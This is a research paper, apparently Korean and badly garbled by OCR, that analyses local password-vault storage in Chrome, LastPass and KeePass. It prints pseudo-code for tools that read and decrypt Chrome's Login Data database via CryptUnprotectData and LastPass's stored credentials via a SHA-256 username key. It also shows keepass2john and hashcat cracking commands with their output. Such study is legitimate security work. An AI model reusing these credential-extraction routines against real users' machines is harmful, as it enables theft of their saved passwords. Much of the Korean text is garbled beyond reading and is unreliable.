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ABSTRACT

As the number of services offered on the Internet exponentially increases, password managers are increasing popular
applications that store several passwords in an encrypted database (or password vault). Browser-integrated password managers
or locally-installed password managers store the password vault on the user’s device. Although a web-based password
manager stores the password vault on the cloud server, a user can store the master password used to sign in the cloud
server on her device. An attacker that steals a user’s encrypted vault stored in the victim’s device can make an offline
attack and, if successful, all the passwords in the vault will be exposed to the attacker. This paper investigates the
vulnerability of the password vault stored in the device and develops attack programs to verify the vulnerability of the

password vault.
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Wrlo] = ofoltis} AL ESE 71T Ba glo]

ahte] mhaE A ewks 7]t e AL AAsAE IT 2ok 259 TeamSIKE ¢t
A2 E vivx= BelbeA] 7Hh fas vy ERo|E ~AnfEZA FAATL MErtaE 7tRA
A, s g9 WUA | gz 24 7 9 2] 27 < oo ATt AaY= AALE AT
29 A2 FEe 5 ik HekgA] sk o g gle A= AR HS sl
2= WuA= 25, JEY JaERe o] 9l (5, 6).
v, HeleArl A= 5s A AR g 4 7ere] HagE viyxs ARSAPL ShAle] B
4 7t s~ = vy A = LastPass, Dashlane, 5 RS u, 234l ofolr]e} H A =E AE
1Password, Roboform 5| 31°™ AMAl= wt 22 A Y s 2a”lEe 75 Al
2E] A= ks AlSEle] Fehes AHd olg]gt A5 sHd mwe Abs 29l 7l ¢ Be
AAE kastgl dlolelmo] el AHgbeh v A0 FRze g uAe R AAHAY Be Ht
tuste dlolguo] e FERE Audl AAEZ Z3 7k s A{dEe}, ey AlaagEE A
w AR FEhE AW Agsted RS o= Huta sl FA6l HFd eyt gloh =
vtaE] HAEE B2 ZAFEC AT 5 ok (7)& LastPassollr Hwutzasle o438 215 21
24 719k 2= viyx= KeePass Password d FAHE BNt 34 7S AAEK w2t
Safe7} glom dHoleHo]~S 24 AFFE| ] A 25 2739l iFrame 54 EE Sweep 345
g}, ol HAAEE IEA F Qv el AAH
A= U7} kdsiAl Aejstodol & =24 AH8, 9). A=Y= vivA = el FERIER
AFEled AAE Aafe ALY 9H, Hd 2 A71ut 32E FAS 5o A =E 12 5 9
A, b5t WA Gol dEAHA A= AAfie] = Al AA=HAZ(10), CSRF(Cross-Site
Hob Febdo] A3 =Eva 9lch2-4). e Request Forgery)<} XSS(Cross-Site
e AAAe] Bk F ko] AZsAE, A|A Scripting) Fekgde] AA=ACHT, 11].
Al A A7) vigsta, FAA] FA AR FAATY AR A A A s AR 5
off 7]ukgh ®Bel HoPd A7) FEs)) A5 =3Hsle] otEdtEl dlojewlo]AE ¥
E =EdAe das WyArt 24 FHFE athd, AREAEe] RE Slafo]EM oleo|r]e} 9]
AR AP AL Bl HHE AAA R =7} FAANA xEE Aol PR B =i
A, A ARARE FAE AdESE Ae Hage A4 ®mel FHebdS ATt
AAsh, AA A ZRaAE sl siagE 71 e AL HEE Bl A% AF=
A4S TAske AHE ATz = A ARl FACE AAAD 4 At #5319
2] Mol FHopd tigk AN AEgE dElx L, 34 AdE| Lot AAE] QA ¢keH, 34 =
2F gt B =g A e ) 23l e 2o s 53 AFe] FEich el A
9= vyl Bl Hebd Hg 7|E dFE = A= AR 4 A3, 34 AdRL, ¥
2Eta, 3 e AAYs AL Bl FHok 2 z2a s 53 A= ALY Bt H
A TAg. 4o = A AR 3 A S FAH R A A7}
g5 AAEla, AA 34 Zeass spdste
N = AALE T4k AEE AR g [l. HASIE AMEA HOF FA4H 2N

3.1 HASIS MAL mot HoiE 24 Fx}
Il el o7
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AagE Agiel e mok Hopdo] ATEg A dIUAE AHEHe WjolEd A% ofolrish
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4 EPE BAEt] A kgt 22w € 7a A A= delE
ARl =i (3] Mol aE FERE Aol AAsARE, ARSAbe 2
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322 X HEIRX9] HARE KEA A X =
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61101010

2§ BepAE AgAe] Wrjel = ofelt)s) 5
@% - 2= AHRE Table 20 Hole ¥ A=z

—) «gyt "Login Data’ 2} 39 o|goz A sl
! e SQLite Hloleulo]z HAjole).

Victim's PC Victim’s Vault

aEe] 9= dolguels & DB

Fig. 1. Security of Password Vaults Browser for SQLite” ZZ1e(12)& Al43}o
o= Aol Adahenl ARk vhaE sfagls oo Lie 2% ol GAOISE ofojels) s
2 29 AT A9E S ek Fig 1o go] oo SRE UL Al ol el T
BAA} AR AR A dloleulols - PO RSO} A Gel Au7} 2 2w
e walslel LR doleiulol sz gz 4 o0 HUT T A ASGEE el A

olchal AbALY wE datol=n ofolr]sh #)29] BLOB(Binary Large OBject)2 A€},

=7k F2AAA 2 Al
° e Table 2. Location and format of Chrome

H password vault

22 Table 13} #Fo] 4%hA| ¥4 A& Algkaic}, —
A B Aaps 7 oo A A2 AREEhe] Location (user profile dir)\AppData\Local\

) ] Google\Chrome\User Data\Default\
LoFE(LOcation, Format, Encryption) 4 Format | SQLite format 3
(Analysis)elgtz A8} 19AE 29 A
Aot AAE sd AZE vetsta, 25l S
A= AL gd 2ohs B3} 3uAl= I

'775\ DB Browser for SQLite -C:#WUsersWprof#AppData¥Local#GoogleWChrome

PS
- oYE HEE RV Z2TH)
e AALe] 53t vl B335l wilS BAg) HIOIEHO|A P& OIOIE ©2]  Pragma &%  SQL Alay
o 49AE BE Adeled] mE ek Aoy BI0BCD: | louns
ghalzlr} origin url | username value |[password value
1 https://signin.ebay.com test@cnl.kr BLOB
. ) 2 https://illinois.edu jwso@cnl.kr BLOB
Table 1. Vunerability analysis of password vault 3 https://accounts.google hricong@cnl.kr BLOB
Step 1 | Location of a password vault Fig. 2. Format of Chrome password vault
Step 2 | Format of a password vault
. . . o -] [e) o —_— DI —_— =
Step 3 | Encryption and decryption algorithm 323 3F HetPA o HAafE 253 W =538
Step 4 | Vulnerability Analysis

32 BE}AE rlo]E Eagle) AHeEE A

3.0 HAISR Tl ASIS THUXC| HOF X|okw H= P=f-=elld  AlFsk=  DPAPI(Data
A Protection Application Programming
o Interface) 4% Ag3le] shasiele] Az,

321 32 2219 A ojL|x{o] =& webd Fig. 29 d29= dx¢] ‘BLOB'R #A|

Hoh(13]). d=f=elx] AlFs= DPAPI &3}
32 QEY iaZge] slolo]EA almle] & §<= CryptProtectData() °]al, B33} =

o] BEleA = A A o7 ALgAle] fale]EX o}o] CryptUnprotectData() °]t}. DPAPI+ HolEE

o} sja9e ARE AR weldh) B L= stz sly] flef Al 7] 718 eAb o= AT

7P el ARgeka sle 2% Ha]r—rxi«] H9= HA, des= AR = =E ARt Pre

A2 Hel Hepd & EA 3 Key's &3, "Pre Key's AH83te] "Master

Keys A 46}“4 ‘Master Key S AR&3}o]
BLOBE ¢t&3}sl7] 918l A48 "Blob Key'& A
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e} (14). 7] AAe PBKDF2 ¥xalsS AH:
, AT Esls dx9 7THE AES-256 W
Abgaleh sl @ SHASL2 WIS M-

gl BLOBE 5u3t% v d=9= AA s
A=E AHg3te] "Master Key7}l sl S+2& 3
Aslel BLOBS Master GUID AHRel aiwdsle=
"Master Key & #2381, #l"d "Master Key &
AHg-3le] Blob KeyE A34d3le] BLOBE Hes3}gt
t}. Fig. 32> BLOB tHlo|HE HelF glov,
BLOB dl°]el+& Provider GUID A X9} Master
GUID A®EE =gstx 9l GUID AHHe 913
£ Table 3¢ #7131t}

A=$= DPAPI &5 AHE-3to] dlolelE hs
33t A, ¢Espt £33 S AFEA 5
512 $8)sb= %2 CryptUnprotectData() 3t

_IZ, ﬂ oX
mlo K

o

o

52 Algsle] 4A et 4 AR oE A
HollA 53315 waatew A== AA Ja9=
-

% GUID AXE Sofof 3},

Provider GUID
Master GUID

Offset(n) 00 01 02 03 04 05 06 07 08 09 OA 0B OC OD OE OF
00000000 01 00 00 00 DO 8C 9D DF 01 15 D1 11 8C 7A 00 CO, .DE.8..0.€z.A
00000010 4F C2 97 EB 01 00 00 00 09 73 33 FB 12 CA 5C 4E / Oht. 36.E\N

00000020 52 €3 IC 31 8E 38 26 8B 00 00 00 00 02 00 00 00" *c.128&¢........
00000030 00 00 10 66 00 00 00 O1 00 00 20 00 00 00 C2 FD ...f. ¢
00000040 23 13 22 F7 FA 21 55 42 F2 66 A4 03 BB 40 0D 4B #.":Q!UBSfxn. »@ K
00000050 2C 6E 4B 4E F1 DO 2A C7 80 FE A8 C5 3E A0 00 00 ,nKNAD*GEp A> ..

Fig. 3. BLOB HEX data

Table 3. Location of provider and master GUIDs

. HKEY_LOCAL_MACHINE\
Provider .
Software\Microsoft\Cryptography\P
GUID .
rotect\Providers
Master | {user profile dir)\AppData\
GUID Roaming\Microsoft\Protect

7z PBKDFZ SHA256

'Use key to decrypt

loro1120
13119970

nters password on
\ User's PC web sites
N\
N

Enter
Master :> Create Key” :>-
Password

> and access passwords in the local vault

Encrypted vault @:&j encSr;:?ed (::::I
Stcredlocally [ s vault back

3.3 # 7|8t A= OHLXQ] =OoF F|otN BN
3.3.1 LastPass A= ojL|x{o| S=

A 7] Fa¥= viyA=  LastPass,
Dashlane, 1Password, Roboform 53} %<& 4}
£ xR o] 0}1;} 2 = °1V1L e *Fg’dh—

FeheE Aol A&shed] ARShe vk
B dafes 24 Al AdE & ok 2%
g Zggalo R [astPass T2 A5,
Fig. 49 LastPass 279l ddoA "3z 7]
A At 27 AFE ol AFEARY] whaE] d)
297} ghastEo] ARt o]F AMgAlE g B
225 s vl FeheE A SS9
& viiE HAYes vl g eok e HARE
< A 4 ik

LastPass ZZase] Fak& Fig. 59} g} AM%
ks SRR A5 Sl AP A} whaE] s
=5 ¥l s Al gl dlofefrle] e

Email

test@cnl.kr

Master Password Recovery Help
asdaaaans

Remember Email

Remember Passward

Fig. 4. Login option of LastPass

-
[ Ts1.2 [ \I
[ I |
! 1
Send login I :
hash to E;> |
: \ LastPass HH :
I [
: | *AES256 1 grants access to Q:
1! ‘ ! encrypted vault \ggg |
I —
I
I
[ [
1 i i
P! I |
P I |
. I 1
I [
/ : Internet j : LastPass Server :
J
VRN _

Fig. 5. Overall operation of LastPass
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ATl GajolE ololre} |19 =g FhxLr),
3.3.2 LastPasse| A= MAA X L ZIY

LastPass® Zeh¢= v 23¢9 ARES
Table 49} #Fo] s}l 2ol sjal o] 55 sAl=3}
of Asie}. kel 292 SQLite dlelefwlo]x ¥
Holet,

LastPass® vwt2¥ d29= A7 9dS DB
Broswer for SQLite” Z2a-s Al§3te] 4
BRl Fig. 63 o] Ze$= A 219l AY A

gkaldl 4= it}

E R T =

Table 4. Location and format of LastPass
password vault

AES-CBC(encryptedPassword, Key, IV)
or AES-ECB(encryptedPassword, Key)

*  Chrome Browser

{user profile dir)\
AppData\Local\Google\Chrome\
User Data\Default\databases\
chrome-extension_hdokiejnpimakedh
ajhdlcegeplioagd_0\

* [E Browser

user profile dir)\AppData\
LocalLow\LastPass

* FireFox Browser

{user profile dir)\AppData\Local
Settings\Applicaion Data\LastPass

Location

Format | SQLite format 3

'75 DB Browser for SQLite - C:WUsersWprof#AppDatat¥LocalWGoogleWChrome
oHYF) HEE RV =2EH)
CIOIE HIOl A & GloIe &7| Pragma =& saL &d

g0l 2(D): LastPassSavedLogins2

username | password

1 test@cnl.kr YRc3qWK9IBYAONN6KCRtuQ==JiJHTipdLUdx7UYrL6A1TQ==

Fig. 6. Format of LastPass password vault
3.3.3 LastPasse| jAQE 2535l 9l 2535

LastPass= "~E |29 =5 AES-256 CBC
RE mi BCB mez A%
B dage B33= Fig. 739 2th o714 AES
o4 AH8SRE Keyi Fig. 691 AF&A o % Beo)
JE AL SHA-256 31418 7o},

Fig. 62 AES-CBC®E <335 virg] sfa$

5). weba mia

Fig. 7. Decryption of LastPass master password

Bashshe Pue Fig. 8o mAsLh 45
Aoz} 50AfelH, |'E FEAE
ol IS AL’ 242=  IV(Intialization
Vector) & AHE-E L, 9] 247}= vhaE 9=
9] gks ot

e b |
e
=)
>
do
f

1IV: Random (!: neglect) Ciphertext
![YRCBqWKQIBYAOnN6KCRtuQ==} | piJHTideUdX7UYrL6A1 TQ==]

separate
[ENEEEEEENEEEN]

block clpher
Initialization Vector (IV)
[NNEEENNNNNEEE] _
[ENENENERENENE]

Plaintext

Fig. 8. Decryption of AES-CBC encrypted
password

3.4 28 78t T{ARIE DfLIXQ] HOoF F ok 2N
3.4.1 KeePass I|AQE OfL|X{o| SZ

24 7P 9= wiUAHE KeePass
Password Safe(¢]3} KeePass)7} 9len, AR
7pe] Sato| EX ofolr]e} A= ES hI3)s)ed]
27 AFE A AA3TH16). B = Ze9)
o] | AHg3la 9l: KeePass ZEaale] 3

290 ARa Aok BT

3.4.2 KeePass A= XEA x| I =Y

KeePassv T2 AXA A8 A4 s)jx
e AL sd A7 g gl o] FE AAY ¢
ek zEla " delgle]ls skl xR
KeePass #H 7422 1.x WAL “kdb" &A=}
= 7, 2.x WA o] " kdbx" FAAE 7}
R}, B =folHE KeePass 2.x5 7|F22 )
2= A4 5dg B8

KeePass 2.x dHolguol~ 3} =9
KeePass WAL d#F= 8 wHle]E 'File
Signature”, ©le]eHlo]x ¢+33} w2 =
g1 9l 4EIEA 92 Header', 281 A%

_[

Fl

i
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ZEe] SIAlelEX A ARE du gle duds
XML &4]9 “Body'Z T4
Type(l vle]E)-Length(2 vle]E)-Value A2
Z Table 59} 22 3552 A7kl

ok ¢
)
&
T

@

QO

[oN

D

—~

e

Table 5. KeePass database fields

¢ End of Header, Comment, Cipher
ID, Compression Flags
*  Master Seed, Transform Seed,

Tramsform Rounds for Key
Header

Generation
*  Encryption IV, Protected Stream
Key, SartBytes, Inner Random
Stream 1D for Encryption
¢ StoredStartBytes
Body

¢  FEncrypted ContentBlock

3.4.3 KeePass?| TjARE 2535l 3l 253}

KeePass+ AES-256 T+ ChaCha20 ¢3#
T AHEEte] dlojgule]~E AAA LR qhssts}
o #Agict. ka3t dare]Fel AHdhE Key AA
del5S AES-KDF¢ SHA-256S AR&-gic}.
AHAEE Key A4 #4S Fig. 9 =415kt

KeePass© AHEA7}L dlolefmo] el AT o,
taE] a9 715 AAE 7MIch KeePass+e
Heks 913 dlolelmo]2el| wiaE AT hIE
< AASA| 23, Fig. 104149} #o] Headerol

Password Key File Windows User Account
(mandatory) (optional) (optional)

Composit master key

[T ————=—=——=—— PbRaw
TransformSeed
TransformRound

MasterSeed

Key

Fig. 9. KeePass Key generation

£
o

sl StartBytes tssste]  Bodyd
StoredStartBytes H=eo] &gl oJ7]A,
StartBytes®} Encryption IVE Headerdl %
= s ARl aEa AL dlelElMle] ~E
g8z F uwf, ARAPL JEHE vkalE e
AR-g-3}od Key % A8l Body?2]
StoredStartBytes #% B33}5le] Header<
StartBytes®} vlaLste] AR8A7} j&H g vhaE )
29 =5 53

KeePass®| ta3tgl dlo]eHjo]~E H353}3)7]
Al e vhaE Hae=rt ezt gy do]
o]y viaE AafEE 2528 5 e A
Aol ARE oy 9lA] ova KeePass® dlo]
guo]~E F33let 4 gl W FAPE dig] ¥
7 (Brute force attack) ¢]¢]el= 2] o]}

fl

fr

StoredStartBytes
= AES-CBC(StartBytes, Key, Encryption IV)

Fig. 10. Encryption for the verification of user's
master password

V. T{ARIE MEA 3H ALZ| & T2
2 et

4.1 EaIH 7|8 A= iUAN A
411 3= HEIRAN HAE XMEA 4 AL

Fig. 113} #eo] ¥4z Attacker)E 3344}
(Victim)®] #HFE ¥4 =Z2a3s A8}
34 ZR O gz HAFE A Table 2¢
7143 2E BeeA Y e ARL gds &
F3lsle] Algate] iAo EX ololt]e} a9 A
BE 3R] AFEE Ageie)

Victim PC

BE

HPaésChrome

|5~

-
Attacker PC 5>
Aot

Fig. 11. Attack scenario on a Chrome password
vault
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412 3 HejRM HAQE 34 =20 Y

E xro g2 vl JAds AR Hel

C Start D)

Open "Password Vault"
by using SQLite library

Get the list of "url,
username" and
"encrypted password"

Decrypt the password
by using
"CryptUnprotecData()"

Print "decrypted
password"”
C End Do

Fig. 12. Flow chart of the HPassChrome

void main(int argc, char *argv[])

{

char *query = "SELECT origin_url, username_value,
password_value FROM logins";

sqlite3_open(databasePath, &db);
sqlite3_prepare_v2(db, query, -1, &stmt, 0)

while (sqlite3_step(stmt) == SQLITE_ROW) {
url = (char *)sglite3_column_text(stmt, 0);
username = (char *)sqlite3_column_text(stmt, 1);
password = (BYTE *)sqlite3_column_text(stmt, 2);

DATA_BLOB cipher, plain;
upherprata = password;

CryptUnprotectData(&cipher, NULL, NULL, NULL, NULL, 0, &plain);
for (i=0; i<plain.cbData; i++)

decryptedPassword[i] = plain.pbData[i];

printf(*%s\t%s\t%s\n", username, decryptedPassword, url);

sqlite3_close(db);

Fig. 13. C++ pseudo code of HPassChrome

E

Chrome’ol2txz x| Agc}. /el zgg=io] 2zt
<415 Fig. 126 =A8k5i T}

Fig. 13 713t HPassChrome ZZ7319]
C++ Z= %5 BoyF1 glrl. HPassChrome
Z2ae SQLite #lolHB#2]E AME3le] Table
20 713t 2F BEbeA Y Aas ARL w5
<4 9o, "logins Hlo|ERIE “Hxlo]E ofo]r],

A= delHE EAHeRr FEIA,
CryptUnprotectData() 4= ARS3ste taslsl
A es B3shgic)

7NHg HPassChrome ZZ1$ Al83le] =
2 BeleAe ads ARas BEsF A

Fig. 14 =A8l5ict. HPassChromes % H
2}9-A ] A LG AHFo R Fol AL}
“ofolt], FHAYE SYrlo]E” dlolElE £AHoR
HojFr},

B¥ C:\Windows\System32\cmd.exe - a X
C:\>HPassChrome.exe

Username Password URL

test@cnl.kr test$123 https://signin.ebay.com

jwso@cnl.kr test$123 https://lllinois.edu

hrjeong@cnl.kr  test$123 https://accounts.google.com/SignUp

Fig. 14. Execution result screen of the
HPassChrome

4.2 ¢ 7|4t IjAIE DjLN 3
421 LastPass AQE XMAA ZZH ALz

Fii. 159 o] 7k 1374) B
Table 5¢l 7143 LastPass HA9= a4 )
& Frh. FAAR= LastPass WA9= Ada
4 Basisiel Febes Al 2ol A4 Au
QAar, Fehe-E Mol A&ste] IgAe] A
=1 olo|t]e} Yot HHE A},

i
Steal username and password “NH}

&mlm_\alru

01101010 01101010 “gom
10101010
10101116

Victim PC Attacker PC

Fig. 15. Attack scenario on a LastPass password
vault
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H2A= dhiAe) HaAE Ags 63k Hory

yS|
&

M

4.2.2 LastPass TARE MEA 54 ZZ 8 |t

"—F’ﬂ% galslr] 94 jﬂ’\%5 ZVJZ]:% FA3=
z2aRs sl e, 22 aws "HPass 2kl
A Azie}, gk 229 %Z—} 42 Fig. 16
o] EAIE L, 7H”L?ﬂ C# = d¥FE Fig. 174

C Start D)
v

Open "Password Vault" by
using SQLite library

| Get "username” and "password" |

v

Separate "IV" and
"Ciphertext" in "password"

v

Decrypt the ciphertext by
using Rijndael Alg, AES-256

v
Print "decrypted
password"
v
C End D)

Fig. 16. Flow chart of the HPass

public void DecryptPassword(string filePath)

{

SQLiteConnection sqlite = new SQLiteConnection(

"Data Source=" + filePath + ";Version=3;");
sqlite.Open();
string sql = "SELECT username, password

FROM LastPassSavedLogins2";
SQLiteCommand comm = new SQLiteCommand(sql, sqlite);
SQLiteDataReader reader = comm.ExecuteReader();
if (reader.Read()) {

username = (string)reader{"username"];

password = (string)reader["password"];
}
sglite.Close();

string IV = password.Substring(1, 24);

string CText = password.Substring(26, 24);

SHA256 shaM = new SHA256Managedy);

byte[] bytes = Encoding.ASCII.GetBytes(username);
byte[] Key = shaM.ComputeHash(bytes);
this.decryptedPassword = AES_CBC(CText, Key, IV);

Fig. 17. C# pseudo code of HPass

S AF$3sle] Table 50l 7]%38 LastPass 3|
A= AAE HUdE& de], “LastPassSaved
Logins2” ®lo]&Z%E “username, password
dlo|el S F%3l3, C# AES zholBEg|E Abgs)
of H2YEs B33}

7fukel HPass 23S A143}¢] LastPass
e A4 gdS 5333 AlEE Fig, 1890
EA3d T

|

l

& C:\Windows\System32\cmd.exe - o X
C:\>HPass.exe -d 9 ~
* Data fields

- username: test@cnl.kr

- password: |YRc3qWK9IBYAONN6KCRtuQ== | JiJHTipdLUdx7UYrL6A1TQ==

* Output data

- Key : 8061E7AA89095D1A317537F579B8A3CC7DD0OD25B833D6489251CACC02955E874
- IV : YRc3qWK9IBYAONNEKCRtuQ==

- Ciphertext : JiJHTipdLUdx7UYrL6A1TQ==

- Decrypted Master Password: test$123

Fig. 18. Execution result screen of the HPass

4.3 22 J[dt A= HUXN S

i)

F

4.3.1 KeePass AQIE X&AA 32 AlLIg|2

ZAALE w32 AzLe] AFE oA KeePass tlo]
Eldjo]~ Ihol& At AR 7|Ed 4EAl ¥
7 z2 S A143te] KeePass dlo]eHo]~ &
3312 A =3t =y KeePass HloglHo] A=
i sl gt A ARE AHAR
WorE naE HarE AHPAoR S 5 9l
o}, webr dA7AE KeePass dlolgHo] A2 =
33137 Yalxle 28 i) 34 (Brute force
attack)®re] 753t}

=

4.3.2 KeePass IAQE XMAA ZZ

FAAE KeePass dlelefrlo]~z2 e 4]

& FEAh o A4 ghe FES 9l
‘keepass2john.py’ ZZ1(18)2 o|&3 4 gl

t}. Fig. 19= KeePass dlo|guo] A2 R 34
e FEsle spoln),

B C:\Windows\System32\cmd.exe = a X
C:\>keepass2john.py TestDatabase.kdbx ~
TestDatabase:Skeepass$*2*60000*222*d02e94b60b44326cec9f5d632069c079ad0b36
€3300d8bf98baf70bc91684faa*a53ch67fc828d1ff6f9bacscec831e254135d0260bf12df
659abf4e6dbf7facf*4d12c9b142dad35dfc5e1d0160eb2d70*bbf94ee7f6f0398a4e9912
316fcb3e00ec37cffc79300d8db6662c062205d552*56d4a59f2ffa962dd659c2fe024c382

ffd094223d705b8c032886e303cbaf197

Fig. 19. Extraction of a crackable hash from a
KeePass database
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FAAE 253 4] 3RS AFSSte] AP Y] B C\Windows\System32\cmd.exe - o x
C:\libkeepass-master>prettyprint.py TestDatabase.kdbx test$123 N
»:‘C;’—Z—‘]'% %’EH E‘ﬂO}E*]\:H]Ol/\ U]—/\F;] :T«Hv/f_"_]_‘:_-g— °]'0]—‘%r]_ <?xml version='1.0' encoding="utf-8' standalone="yes'?>
o, el 256 WIE Wele] 71 A ol 34 S o
<Key>Password</Key>
% E"H HE_E]_7] _r] OHA_]t 2206 7]_;(]‘/] Hﬁ]‘?']% i}\]_ </;t\/r?zhéciProtectedVa\Ke:‘?zghpEuZTOl:" Protected="False">test$123</Value>
stofol stmE AAl FAelAe 719 Erbssit Netveseoayehlue>
(17). et Aol Abgshe dols xghsle)  sme
Be Aolel vhay  APEE ME A Jweneienesonde
“ ” — Stri
hashcat :‘iij-‘j’t]z] [19] °ﬂk1 A]jﬂ %7—1 ) <I125:UserName</Key>
. . = - Value>test@cnl.kr</Val
(Dictionary attack)& ¥4 AH3e =24 &= ot e
o] 7135 i KR g2 gES Ale . )
| 7Fssteh. Fig. 20 hasheat A= A Fig. 21. Decryption of a KeePass database

sto] FApd o] FAE
‘libkeepass”
KeePass H|o]Elmo] 5
o] EX olo]r]s} A er}
=

Fig. 21

FEohe

Z233(20)%

2 A%alel Al
E55 XML o]t} &

Al &5t ﬂuﬂo]ﬂ. a8 ar
FAEsdy g g

A}

[B¥ C:\Windows\System32\cmd.exe -
C:\hashcat-4.1.0>hashcat64.exe -m 13400 -a 0 -w 1 crack.hash

hashcat (v4.1.0) starting...

OpenCL Platform #1: NVIDIA Corporation

* Device #1: GeForce GTX 1060 6GB, 1536/6144 MB allocatable, 100MCU

Starting attack in stdin mode...

hashcat
Running

eePass 1 (AES/Twofish) and KeePass 2 (AES)
keepass$*2*6000*222*a279e37¢38b0124559a83fa452a026...37b702

st

g 45HA

Fig. 20. Brute force attack by using the hashcat

B ERAAE AAE WA Z2age B
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" FH S ANE A nek Hope FAsha
A A Adeles AAsgen %Qﬂﬂ7
3 AAYE s

A, A= A%
AAE
Analysis(Location,
decryption, Vulnerability Analysis)2tz %]

FASE

220) nek AP e #As)
Alrsleda, o] LoFE
Format, Encryption and

stoleh. zela R HaEAel A= vivA =

Table 6. Vulnerability Comparison of Password Managers

Chrome

LastPass

KeePass

User's passwords are
encrypted with the
Windows per-user DPAPI
and therefore the

User's vault is protected
using 256-bit AES

KeePass encrypts the whole
database, i.e., not only
passwords, but also user
names, URLs, etc., where

St th tion based th .
rens protected passwords are ir;z;i,(i"ézl‘;edarizmoe? © the key for the encryption
hard to be decrypted by assword is generated using SHA-256
attackers or on other P ' from the user-crated
machines. master password.
. User-created master
User's encrypted .
asswords can be easil password can be easily If the user forgets the
Weakness P y found if the user enables master password, he will
decrypted on the machine L
. the policy Remember lost all the data.
the user logged in. Y
Password .
An attacker needs to
A i A ker . .
ssgmptlgn n attacker .ne.edys to steal the DB file located Brute-force attacks is
or limitation | access the victim's . . .
at the (user profile dir) of | required.
of attacks computer.

the victim's computer.
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